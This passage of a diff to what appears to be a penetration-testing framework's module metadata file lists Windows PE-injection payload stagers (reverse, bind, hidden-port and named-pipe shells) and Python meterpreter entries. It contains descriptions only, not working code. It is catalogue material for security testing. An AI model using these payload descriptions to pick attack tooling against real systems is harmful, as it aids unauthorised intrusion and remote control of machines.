"URL-http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2020-09-09 12:26:42 +0000",
|
||||
"path": "/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/dnsadmin_serverlevelplugindll",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"SideEffects": [
|
||||
"config-changes",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/local/docker_credential_wincred": {
|
||||
"name": "Docker-Credential-Wincred.exe Privilege Escalation",
|
||||
"fullname": "exploit/windows/local/docker_credential_wincred",
|
||||
@@ -158588,7 +158775,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-06-19 12:20:01 +0000",
|
||||
"mod_time": "2020-09-04 15:43:55 +0000",
|
||||
"path": "/modules/payloads/singles/php/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "php/meterpreter_reverse_tcp",
|
||||
@@ -158710,7 +158897,7 @@
|
||||
"author": [
|
||||
"Spencer McIntyre"
|
||||
],
|
||||
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Listen for a connection",
|
||||
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Listen for a connection",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -158744,7 +158931,7 @@
|
||||
"Spencer McIntyre",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Listen for a connection with UUID Support",
|
||||
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Listen for a connection with UUID Support",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -158777,7 +158964,7 @@
|
||||
"author": [
|
||||
"Spencer McIntyre"
|
||||
],
|
||||
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Tunnel communication over HTTP",
|
||||
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Tunnel communication over HTTP",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -158810,7 +158997,7 @@
|
||||
"author": [
|
||||
"Spencer McIntyre"
|
||||
],
|
||||
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Tunnel communication over HTTP using SSL",
|
||||
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Tunnel communication over HTTP using SSL",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -158843,7 +159030,7 @@
|
||||
"author": [
|
||||
"Spencer McIntyre"
|
||||
],
|
||||
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Connect back to the attacker",
|
||||
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -158878,7 +159065,7 @@
|
||||
"Ben Campbell <eat_meatballs@hotmail.co.uk>",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Reverse Python connect back stager using SSL",
|
||||
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Reverse Python connect back stager using SSL",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -158912,7 +159099,7 @@
|
||||
"Spencer McIntyre",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Connect back to the attacker with UUID Support",
|
||||
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Connect back to the attacker with UUID Support",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -158955,7 +159142,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-06-19 12:20:01 +0000",
|
||||
"mod_time": "2020-09-04 15:43:55 +0000",
|
||||
"path": "/modules/payloads/singles/python/meterpreter_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter_bind_tcp",
|
||||
@@ -158988,7 +159175,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-06-19 12:20:01 +0000",
|
||||
"mod_time": "2020-09-04 15:43:55 +0000",
|
||||
"path": "/modules/payloads/singles/python/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter_reverse_http",
|
||||
@@ -159021,7 +159208,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-06-19 12:20:01 +0000",
|
||||
"mod_time": "2020-09-04 15:43:55 +0000",
|
||||
"path": "/modules/payloads/singles/python/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter_reverse_https",
|
||||
@@ -159054,7 +159241,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-06-19 12:20:01 +0000",
|
||||
"mod_time": "2020-09-04 15:43:55 +0000",
|
||||
"path": "/modules/payloads/singles/python/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter_reverse_tcp",
|
||||
@@ -163500,6 +163687,722 @@
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/bind_hidden_ipknock_tcp": {
|
||||
"name": "Windows Inject PE Files, Hidden Bind Ipknock TCP Stager",
|
||||
"fullname": "payload/windows/peinject/bind_hidden_ipknock_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"Borja Merino <bmerinofe@gmail.com>"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection. First, the port will need to be knocked from\n the IP defined in KHOST. This IP will work as an authentication method\n (you can spoof it with tools like hping). After that you could get your\n shellcode from any IP. The socket will appear as \"closed,\" thus helping to\n hide the shellcode",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/bind_hidden_ipknock_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/bind_hidden_tcp": {
|
||||
"name": "Windows Inject PE Files, Hidden Bind TCP Stager",
|
||||
"fullname": "payload/windows/peinject/bind_hidden_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"Borja Merino <bmerinofe@gmail.com>"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection from a hidden port and spawn a command shell to the allowed host.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/bind_hidden_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/bind_ipv6_tcp": {
|
||||
"name": "Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)",
|
||||
"fullname": "payload/windows/peinject/bind_ipv6_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for an IPv6 connection (Windows x86)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-07-08 15:33:39 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/bind_ipv6_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/bind_ipv6_tcp_uuid": {
|
||||
"name": "Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)",
|
||||
"fullname": "payload/windows/peinject/bind_ipv6_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for an IPv6 connection with UUID Support (Windows x86)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-07-08 15:33:39 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/bind_ipv6_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/bind_named_pipe": {
|
||||
"name": "Windows Inject PE Files, Windows x86 Bind Named Pipe Stager",
|
||||
"fullname": "payload/windows/peinject/bind_named_pipe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"UserExistsError"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a pipe connection (Windows x86)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-07-08 15:33:39 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_named_pipe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/bind_named_pipe",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/bind_nonx_tcp": {
|
||||
"name": "Windows Inject PE Files, Bind TCP Stager (No NX or Win7)",
|
||||
"fullname": "payload/windows/peinject/bind_nonx_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"vlad902 <vlad902@gmail.com>"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection (No NX)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/bind_nonx_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/bind_tcp": {
|
||||
"name": "Windows Inject PE Files, Bind TCP Stager (Windows x86)",
|
||||
"fullname": "payload/windows/peinject/bind_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection (Windows x86)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-07-08 15:33:39 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/bind_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/bind_tcp_rc4": {
|
||||
"name": "Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
|
||||
"fullname": "payload/windows/peinject/bind_tcp_rc4",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"mihi",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-07-08 15:33:39 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/bind_tcp_rc4",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/bind_tcp_uuid": {
|
||||
"name": "Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)",
|
||||
"fullname": "payload/windows/peinject/bind_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"hdm <x@hdm.io>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection with UUID Support (Windows x86)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-07-08 15:33:39 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/bind_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/find_tag": {
|
||||
"name": "Windows Inject PE Files, Find Tag Ordinal Stager",
|
||||
"fullname": "payload/windows/peinject/find_tag",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"skape <mmiller@hick.org>"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Use an established connection",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/findtag_ord.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/find_tag",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/reverse_ipv6_tcp": {
|
||||
"name": "Windows Inject PE Files, Reverse TCP Stager (IPv6)",
|
||||
"fullname": "payload/windows/peinject/reverse_ipv6_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker over IPv6",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/reverse_ipv6_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/reverse_named_pipe": {
|
||||
"name": "Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager",
|
||||
"fullname": "payload/windows/peinject/reverse_named_pipe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker via a named pipe pivot",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-07-08 15:33:39 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_named_pipe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/reverse_named_pipe",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/reverse_nonx_tcp": {
|
||||
"name": "Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)",
|
||||
"fullname": "payload/windows/peinject/reverse_nonx_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"vlad902 <vlad902@gmail.com>"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker (No NX)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/reverse_nonx_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/reverse_ord_tcp": {
|
||||
"name": "Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)",
|
||||
"fullname": "payload/windows/peinject/reverse_ord_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"spoonm <spoonm@no$email.com>"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/reverse_ord_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/reverse_tcp": {
|
||||
"name": "Windows Inject PE Files, Reverse TCP Stager",
|
||||
"fullname": "payload/windows/peinject/reverse_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-07-08 15:33:39 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/reverse_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/reverse_tcp_allports": {
|
||||
"name": "Windows Inject PE Files, Reverse All-Port TCP Stager",
|
||||
"fullname": "payload/windows/peinject/reverse_tcp_allports",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Try to connect back to the attacker, on all possible ports (1-65535, slowly)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
